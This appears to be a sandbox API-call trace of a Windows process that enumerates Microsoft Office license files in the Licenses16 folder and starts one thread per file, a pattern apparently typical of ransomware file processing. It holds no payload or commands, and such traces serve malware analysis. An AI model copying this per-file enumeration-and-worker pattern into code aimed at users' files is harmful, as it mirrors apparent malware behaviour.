	[0084.203] wcscmp (_String1="AccessR_OEM_Perp-pl.xrm-ms", _String2=".") returned 1
	[0084.203] wcscmp (_String1="AccessR_OEM_Perp-pl.xrm-ms", _String2="..") returned 1
	[0084.203] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4987238
	[0084.203] wcscpy (in: _Dest=0x4987238, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.203] wcscat (in: _Dest=0x4987238, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.204] wcscat (in: _Dest=0x4987238, _Source="AccessR_OEM_Perp-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms"
	[0084.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x170c
	[0084.204] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2d3c6cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2d3c6cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2f5281c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x512c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_OEM_Perp-ppd.xrm-ms", cAlternateFileName="AC6D20~1.XRM")) returned 1
	[0084.204] wcscmp (_String1="AccessR_OEM_Perp-ppd.xrm-ms", _String2=".") returned 1
	[0084.204] wcscmp (_String1="AccessR_OEM_Perp-ppd.xrm-ms", _String2="..") returned 1
	[0084.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x49869b0
	[0084.204] wcscpy (in: _Dest=0x49869b0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.204] wcscat (in: _Dest=0x49869b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.204] wcscat (in: _Dest=0x49869b0, _Source="AccessR_OEM_Perp-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms"
	[0084.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x49869b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1710
	[0084.205] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2d16476, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2d16476, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2f06362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_OEM_Perp-ul-oob.xrm-ms", cAlternateFileName="AC1492~1.XRM")) returned 1
	[0084.205] wcscmp (_String1="AccessR_OEM_Perp-ul-oob.xrm-ms", _String2=".") returned 1
	[0084.205] wcscmp (_String1="AccessR_OEM_Perp-ul-oob.xrm-ms", _String2="..") returned 1
	[0084.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d5cf38
	[0084.205] wcscpy (in: _Dest=0x2d5cf38, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.205] wcscat (in: _Dest=0x2d5cf38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.205] wcscat (in: _Dest=0x2d5cf38, _Source="AccessR_OEM_Perp-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms"
	[0084.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5cf38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1714
	[0084.206] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2d16476, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2d16476, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2f9ecf2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ddc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_OEM_Perp-ul-phn.xrm-ms", cAlternateFileName="ACAD72~1.XRM")) returned 1
	[0084.206] wcscmp (_String1="AccessR_OEM_Perp-ul-phn.xrm-ms", _String2=".") returned 1
	[0084.206] wcscmp (_String1="AccessR_OEM_Perp-ul-phn.xrm-ms", _String2="..") returned 1
	[0084.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d5dc48
	[0084.206] wcscpy (in: _Dest=0x2d5dc48, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.206] wcscat (in: _Dest=0x2d5dc48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.206] wcscat (in: _Dest=0x2d5dc48, _Source="AccessR_OEM_Perp-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms"
	[0084.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5dc48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1718
	[0084.206] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2b4c7d1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2b4c7d1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2d88bc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2987, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Retail-pl.xrm-ms", cAlternateFileName="AC7E42~1.XRM")) returned 1
	[0084.206] wcscmp (_String1="AccessR_Retail-pl.xrm-ms", _String2=".") returned 1
	[0084.206] wcscmp (_String1="AccessR_Retail-pl.xrm-ms", _String2="..") returned 1
	[0084.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x2e2acb8
	[0084.207] wcscpy (in: _Dest=0x2e2acb8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.207] wcscat (in: _Dest=0x2e2acb8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.207] wcscat (in: _Dest=0x2e2acb8, _Source="AccessR_Retail-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms"
	[0084.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2acb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x171c
	[0084.207] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe29cf0c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe29cf0c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2d16476, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x512a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Retail-ppd.xrm-ms", cAlternateFileName="AC6686~1.XRM")) returned 1
	[0084.207] wcscmp (_String1="AccessR_Retail-ppd.xrm-ms", _String2=".") returned 1
	[0084.207] wcscmp (_String1="AccessR_Retail-ppd.xrm-ms", _String2="..") returned 1
	[0084.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x2e2b078
	[0084.207] wcscpy (in: _Dest=0x2e2b078, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.207] wcscat (in: _Dest=0x2e2b078, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.207] wcscat (in: _Dest=0x2e2b078, _Source="AccessR_Retail-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms"
	[0084.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2b078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1720
	[0084.208] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe29366eb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe29366eb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe29cf0c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Retail-ul-oob.xrm-ms", cAlternateFileName="ACCESS~4.XRM")) returned 1
	[0084.208] wcscmp (_String1="AccessR_Retail-ul-oob.xrm-ms", _String2=".") returned 1
	[0084.208] wcscmp (_String1="AccessR_Retail-ul-oob.xrm-ms", _String2="..") returned 1
	[0084.208] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x4986a58
	[0084.208] wcscpy (in: _Dest=0x4986a58, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.208] wcscat (in: _Dest=0x4986a58, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.208] wcscat (in: _Dest=0x4986a58, _Source="AccessR_Retail-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms"
	[0084.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4986a58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1724
	[0084.209] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2b4c7d1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2b4c7d1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2dd500f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Retail-ul-phn.xrm-ms", cAlternateFileName="ACAF89~1.XRM")) returned 1
	[0084.209] wcscmp (_String1="AccessR_Retail-ul-phn.xrm-ms", _String2=".") returned 1
	[0084.209] wcscmp (_String1="AccessR_Retail-ul-phn.xrm-ms", _String2="..") returned 1
	[0084.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x4986ba8
	[0084.209] wcscpy (in: _Dest=0x4986ba8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.209] wcscat (in: _Dest=0x4986ba8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.209] wcscat (in: _Dest=0x4986ba8, _Source="AccessR_Retail-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms"
	[0084.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4986ba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1728
	[0084.210] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe29a8e16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe29a8e16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2cf0288, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b87, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Trial-pl.xrm-ms", cAlternateFileName="AC69E2~1.XRM")) returned 1
	[0084.210] wcscmp (_String1="AccessR_Trial-pl.xrm-ms", _String2=".") returned 1
	[0084.210] wcscmp (_String1="AccessR_Trial-pl.xrm-ms", _String2="..") returned 1
	[0084.210] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x2e2b2f8
	[0084.210] wcscpy (in: _Dest=0x2e2b2f8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.210] wcscat (in: _Dest=0x2e2b2f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.210] wcscat (in: _Dest=0x2e2b2f8, _Source="AccessR_Trial-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms"
	[0084.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2b2f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x172c
	[0084.211] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2982ba2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2982ba2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2b72a71, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x51a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Trial-ppd.xrm-ms", cAlternateFileName="AC7797~1.XRM")) returned 1
	[0084.211] wcscmp (_String1="AccessR_Trial-ppd.xrm-ms", _String2=".") returned 1
	[0084.211] wcscmp (_String1="AccessR_Trial-ppd.xrm-ms", _String2="..") returned 1
	[0084.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x2e2adf8
	[0084.211] wcscpy (in: _Dest=0x2e2adf8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.211] wcscat (in: _Dest=0x2e2adf8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.211] wcscat (in: _Dest=0x2e2adf8, _Source="AccessR_Trial-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms"
	[0084.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2adf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1730
	[0084.211] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe295c968, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe295c968, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2a1b5af, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Trial-ul-oob.xrm-ms", cAlternateFileName="AC031B~1.XRM")) returned 1
	[0084.211] wcscmp (_String1="AccessR_Trial-ul-oob.xrm-ms", _String2=".") returned 1
	[0084.211] wcscmp (_String1="AccessR_Trial-ul-oob.xrm-ms", _String2="..") returned 1
	[0084.212] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x49872e0
	[0084.212] wcscpy (in: _Dest=0x49872e0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.212] wcscat (in: _Dest=0x49872e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.212] wcscat (in: _Dest=0x49872e0, _Source="AccessR_Trial-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms"
	[0084.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x49872e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1734
	[0084.212] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe318eac3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe318eac3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3299b47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessVL_KMS_Client-ppd.xrm-ms", cAlternateFileName="AC225E~1.XRM")) returned 1
	[0084.212] wcscmp (_String1="AccessVL_KMS_Client-ppd.xrm-ms", _String2=".") returned 1
	[0084.212] wcscmp (_String1="AccessVL_KMS_Client-ppd.xrm-ms", _String2="..") returned 1
	[0084.212] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d5d1f8
	[0084.212] wcscpy (in: _Dest=0x2d5d1f8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.212] wcscat (in: _Dest=0x2d5d1f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.212] wcscat (in: _Dest=0x2d5d1f8, _Source="AccessVL_KMS_Client-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms"
	[0084.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5d1f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1738
	[0084.213] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe32738ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe32738ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe337e9fc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessVL_KMS_Client-ul-oob.xrm-ms", cAlternateFileName="AC86E0~1.XRM")) returned 1
	[0084.213] wcscmp (_String1="AccessVL_KMS_Client-ul-oob.xrm-ms", _String2=".") returned 1
	[0084.213] wcscmp (_String1="AccessVL_KMS_Client-ul-oob.xrm-ms", _String2="..") returned 1
	[0084.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d5db98
	[0084.213] wcscpy (in: _Dest=0x2d5db98, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.213] wcscat (in: _Dest=0x2d5db98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.213] wcscat (in: _Dest=0x2d5db98, _Source="AccessVL_KMS_Client-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms"
	[0084.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5db98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x173c
	[0084.214] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe303760d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe303760d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3201264, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2586, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessVL_KMS_Client-ul.xrm-ms", cAlternateFileName="AC4FC4~1.XRM")) returned 1
	[0084.214] wcscmp (_String1="AccessVL_KMS_Client-ul.xrm-ms", _String2=".") returned 1
	[0084.214] wcscmp (_String1="AccessVL_KMS_Client-ul.xrm-ms", _String2="..") returned 1
	[0084.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986c50
	[0084.214] wcscpy (in: _Dest=0x4986c50, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.214] wcscat (in: _Dest=0x4986c50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.214] wcscat (in: _Dest=0x4986c50, _Source="AccessVL_KMS_Client-ul.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms"
	[0084.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4986c50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1740
	[0084.214] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe318eac3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe318eac3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3299b47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x297f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessVL_MAK-pl.xrm-ms", cAlternateFileName="AC3BFD~1.XRM")) returned 1
	[0084.215] wcscmp (_String1="AccessVL_MAK-pl.xrm-ms", _String2=".") returned 1
	[0084.215] wcscmp (_String1="AccessVL_MAK-pl.xrm-ms", _String2="..") returned 1
	[0084.215] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x2e2ae98
	[0084.215] wcscpy (in: _Dest=0x2e2ae98, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.215] wcscat (in: _Dest=0x2e2ae98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.215] wcscat (in: _Dest=0x2e2ae98, _Source="AccessVL_MAK-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms"
	[0084.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2ae98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1744
